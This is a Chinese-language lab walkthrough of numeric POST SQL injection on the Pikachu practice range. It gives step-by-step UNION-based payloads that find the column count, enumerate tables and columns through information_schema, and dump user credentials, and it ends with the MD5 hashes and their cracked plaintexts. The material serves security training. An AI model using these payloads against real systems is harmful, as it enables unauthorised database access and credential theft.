1、打开pikachu数字型注入(post)靶场,随机选择一个数字进行查询,并开启BURP进行抓包。
2、使用UNION联合查询法判断字段数,测试在id=1后面构造order by 1和order by 2时没有报错,当个到第三个时回显报错,所以可以判断字段数为2个字段。
id=1 order by 1 &submit=%E6%9F%A5%E8%AF%A2
id=1 order by 3 &submit=%E6%9F%A5%E8%AF%A2
3、通过联合查询法构造union select 1,2语句来判断数据库字段。
id=1 union select 1,2 &submit=%E6%9F%A5%E8%AF%A2
4、通过联合查询法查询数据库库名。
id=1 union select database (),2 &submit=%E6%9F%A5%E8%AF%A2
5、通过上一步联合查询法我们得到靶场上存在的数据库库名,接下来我们查看一下这个数据库里面存在哪些表。
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' &submit=%E6%9F%A5%E8%AF%A2
6、通过查询pikachu这个数据库发现里面有users表,然后在查看users表里面存在哪些表项。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' &submit=%E6%9F%A5%E8%AF%A2
7、通过查询users表发现表里存在2个表项分别是username和password,最后分别查看一下这两个表项的内容得到用户名和密码。
id=1 union select 1,username from users username &submit=%E6%9F%A5%E8%AF%A2
id=1 union select 1,password from users password &submit=%E6%9F%A5%E8%AF%A2
最终获取到经过md5加密的密码
用户名 | 经过md5加密过的密码 | 明文密码 |
admin | e10adc3949ba59abbe56e057f20f883e | 123456 |
pikachu | 670b14728ad9902aecba32e22fa4f6bd | 000000 |
test | e99a18c428cb38d5f260853678922e03 | abc123 |
文章转自:林三岁网络安全实验室